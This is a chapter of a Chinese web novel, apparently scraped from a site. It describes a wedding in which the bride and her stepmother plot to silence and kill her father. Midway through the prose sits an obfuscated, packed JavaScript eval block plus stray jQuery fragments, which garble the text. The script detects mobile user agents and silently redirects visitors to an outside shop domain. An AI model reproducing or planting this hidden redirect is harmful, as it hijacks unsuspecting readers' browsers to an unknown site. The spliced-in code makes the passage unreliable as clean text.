再有万般不舍,也还是到了这日。
短短一个月内,走完了三书六礼的纳采、问名、纳吉、纳征、请期。今天到了最后的迎亲阶段。
前几日再激动、紧张,真到了这日反而心里平静了。
事已至此,不会再有变数。
夏荷紧张到呼吸都屏住了,说:“小姐,你别乱动,我差点又扎到你。”
谁能来告诉她这凤冠怎么这么复杂,一不留神就会戴错。
甄享柔忍不住打了个哈欠,一旁冬梅眼尖,凑过去用手帕轻轻擦掉眼角的泪珠。
冬梅板着脸说:“小姐,现在还不能哭,一会儿妆花了,春花姐会骂我们的。”
谁能来告诉她,她自己的成亲日子,身边人却一个个紧张兮兮的,如临大敌。
特别是春花和秋月,一个是有经验,看哪里都不顺眼,一个是高标准,看哪里都能挑出毛病。
两个人现在更是在外面检查礼数、督促别人不要出问题。
反倒是真正的主角在这里犯困。
甄享柔苦着一张脸说:“我坐在这里已经一个多时辰了,到底要坐到什么时候!”
两人异口同声说:“快了,快了。”
甄享柔长叹一口气,还没开始就盼望着婚宴快点结束。
本以为会有大姑娘上桥头一回的新鲜感,现在只有屁股快麻掉的颓废感。
“柔儿,打扮好了吗?姑爷快到了。”
“夫人。”
“夫人。”
“母亲。”
满脸喜气走进来的苏氏,上前按住要起身的新娘子,往后一退,仔细端详,说:“柔儿今天真漂亮。”
这段时间,家里达到了难得的和谐。
苏氏不再偷偷使小绊子,每天半是备婚、半是忙铺子,整个人洋溢着一种向上的喜悦。
甄享柔时不时地进去口头关心一下甄老爷,看到他日渐消瘦却有力气骂她就安心了,倒是对成婚的事没多上心,家里人、甚至贾二都是不是来回跑,她唯一需要操心的是人需要完整的出现在婚宴上。
就连甄享畅经过这件事后,也收敛了许多,也才发现他对于打理家里也颇有一番心得,府里权利已大多转移到他手上。
甄享柔应下她的夸赞,对着一旁空闲的丫鬟说:“快给夫人搬个矮凳。”
苏氏挥挥手说:“不用麻烦,我就是来把礼物送给你。”
身后的柳儿也掀起了捧了一路的一大盒珍珠。
说是夺目耀眼也不为过。
甄享柔笑着说:“这是店里都少有的货色吧,母亲真是破费了。”
苏氏拍拍她的手,说:“柔儿喜欢就好,不知道你喜欢什么样的头面,就送给你,你自己去店里让师傅做。”
甄享柔看了一眼空着手的冬梅,冬梅立马走过去,从柳儿手里接了过来。
苏氏看差不多了,就说:“行了,你再打扮一会,晚些你父亲就回来了,我得去门口等着。”
今日仪式,甄老爷可以从甄府一直观礼到贾府,她们商量好的是:从在贾府仪式结束后,婚宴开始后安排刺客闯入,最后刺客被杀,甄老爷也救治无效。
现在第一个小目标,是苏氏和甄享柔共同商讨的。在甄老爷刚进家门时,又他信任的苏氏上前给甄老爷奉上一杯暂时说不了话的哑药,不至于在后续中发生什么不可控的事件。
甄享柔和苏氏对视一眼,都明白了对方眼里的意思。
等苏氏的身影消失在眼前,夏荷和冬梅赶紧上手再检查几次妆容衣服有没有出错。
冬梅小声说:“小姐,她怎么突然这么好心,送这么多珍珠,不会在上面抹药了吧。”
夏荷扭头看眼莹白发亮的珍珠,喃喃自语:“不能吧,在这么多珍珠上下药,真是够下血本的。”
听到两人的一问一答,甄享柔扑哧一声笑出来,又用两手对着眼睛上下扇动,以防眼泪再次流出来。
她说:“实在不放心就派人送去给王大夫查一查。”
王大夫就是之前济世堂给贾鸣看病那个大夫,这段时间下来有个头疼脑热都是在他那里看,缺德的药是苏氏从别的地方找来,心里十分不愿意,在有着共同回忆的人面前,展示自己不好的一面。
她没有疑人不用,用人不疑的想法。
是个人都会有千般万般念头。或许善良的人突如其来想要用刁钻的诡计害人,或许邪恶的人大发善心要拯救苍生。
过了片刻,她的世界变成了红色。能清楚看到的只是脚前的一小块地,身侧的春花和身旁同牵一根红色同心结的新郎——贾黯。
外面各种喧闹的贺声都进不去她的耳朵里,她只由身边春花搀扶着,一步一步绕过生活了半年多的甄家,走到了甄府的大厅,开始了拜别高堂。
这时,她听见了不知道是谁在小声议论:这甄老爷进去那么多天,怎么瘦成这样,别不是在里面被欺负了。
有人小声接话:啧啧,这就不懂了吧,大理寺少卿是他的女婿,就算里面再不好过,也比普通人好过多了。你看,甄老爷是不是全程都紧紧盯着自己的宝贝女婿?
听到这里,她忍不住扑哧一笑,还群众的想象力真是伟大。
恐怕口不能言又必须为了儿子维持威严的他,是在向女婿求救吧。
盖头外的春花听到小姐的笑,脸色不显,手在衣服的遮挡下轻轻掐了下小姐,简直太藐视礼法,这种庄重的场合怎么能笑出来,希望姑爷没听到。
可是晚了,在春花掐她之前,另一头的贾黯已经不动声色扯了下红菱,旁人以为是风吹动的,只有另一头的新娘察觉到他是故意的。
在甄家的仪式结束后,一群人又乌泱泱随着新娘坐上马车回了贾家。
也不是那么一帆风顺,在出甄府门的时候,由于人太多,不知道谁挤了一下,撞到她的后背,导致她一个踉跄。
就在她以为临门一脚这么丢人时,贾黯大步跨过来,又一次搂住了她。
甄享柔感受着身后温暖的怀抱和熟悉的味道,在盖头下悄声说:“谢谢你。”
虽然你要走宝月斋三成利,虽然你表面那么不通人情,虽然你间接害上一世甄大小姐。
可也谢谢你一次次帮了我。
在她没看到的地方,贾黯对着盖着红盖头的她露出了一抹很温柔很短的微笑,短到旁边的春花都以为是自己眼花了。
在众人终于找到机会起哄严肃的新郎时,春花笑着上前扶住了小姐,对着贾黯点点头。
甄享柔这时候又觉得盖头真方便,不用理会众人的起哄玩笑,刚开始的木偶心态也少了几分。
等上了轿子上,等轿子安稳走过一小段路,她一把掀开的红盖头,眼前还是红色的帘子,有些意兴阑珊。
新娘的存在感就跟一个吉祥物一样,不可以没有,但只需要摆着就可以,不用说话,不用享受或遭遇别人的各种眼光,像是被隔着玻璃罩的吉祥物。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17849036|209731||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>
一路的敲锣打鼓吉祥物都无意欣赏。
终于到了贾府,他们这里有个特别的习俗——下婿。
等新娘的轿子到达新郎家大门口时,新娘家中所有到场的女性来宾,每人都会拿棍子轻敲新郎,这样是为了告诉新郎,以后不许欺负新娘。
可面对平日面若寒霜的贾大人贾黯,甄家的女性亲戚都只是轻轻敲了下,甚至可以说是碰到了衣服。
知道有这个习俗后,甄享柔破天荒的给春花她们也争取了一次机会,说着有怨报怨,有仇报仇。
宣布之后,四个人面面相觑,谁也不答应下来,生怕后来报复。
最后实在没办法,选了一个最公平、也是最容易出倒霉蛋的游戏——抓阄。
现在这个荣幸的倒霉蛋就是冬梅,冬梅战战兢兢双手紧握着那根绑着红绳的木棍,不敢看贾黯的脸,只一步步往那边躲,在众人的起哄声中,眼一闭,心一横,想要效仿前面的人,也轻轻碰一下。
可就像她昨夜看那本画本子里说的,天有不测风云,人有祸福旦夕。
今天是小姐的吉日,也是她的忌日。
不知道谁在背后撞了她一下,冬梅一个不慎,身体往前倾,手一松,棍子脱手甩了出去。
“砰”一声,命中新郎官的后背,后又“当啷”一声,棍子掉在地上。
被春花姐及时抱住的冬梅,睁开眼想死的心都有了。
喧闹的人群也安静了一瞬,没想到意外出在了最后一个小丫鬟身上。
不待贾黯转过身来,冬梅正准备及时跪地道歉,说自己头晕眼花、被人夺舍,千错万错都是她的错。
这时,轿子内的新娘“扑哧”一声笑了出来。
人群也好奇盯着略微“出格”的新娘,贾黯转过来蹲地捡起了这跟木棍,看也没看冬梅一眼,随手递给了身旁的贾二,眼神温柔对着轿子伸出手说:“柔儿,到家了。”
甄享柔被他突如其来的温柔吓得起一身鸡皮疙瘩,可又谢谢他没有惩罚冬梅。
待同穿红衣、一大一小两只手交叠在一起事,四周的人群又喧闹了起来,开始隔着盖头猜测新娘的长相。
等跨了门口的火盆,在大厅共同拜了高堂,终于礼成,可以送入洞房。
她像个急色的新郎官,迫不及待往新房里面去。
待她安稳坐在床上,一杆黑色绑着红绳的喜秤从盖头下方揭起,眼前人的速度像按了放慢键,一点点往上,给观众留足了悬念。
待到盖头一点点揭开,露出新娘紧抿的红唇,再往上是小巧精致的鼻子,最后是符合所有观众幻想的,一个眼神含羞露怯的新娘。
新娘眼含秋水看着前方的新郎,眼神闪过一丝惊艳,他穿红衣真好看,平日里只穿一些沉闷的色系,倒也符合他杀伐果断的性格。
现在身着鲜亮的红衣,显得整个人的戾气都少了几分,眼含笑意的模样看得她心头一震。
好像。
喝完合卺酒,就代表关于她的部分结束了。
贾黯被几位关系不错的同僚起哄着去喝酒,他们不信这么多人一起灌酒还喝不醉。
甄享柔看着转身要走的贾黯,小声说:“你……你少喝点。”
还有正事要办,别耽误了。
贾黯回头看被人群看到脸颊发粉的新娘,罕见笑着说:“我知道。”
周围的观众瞬间有了起哄的话头,说什么,还没入洞房就开始管人了,以后可由你受的。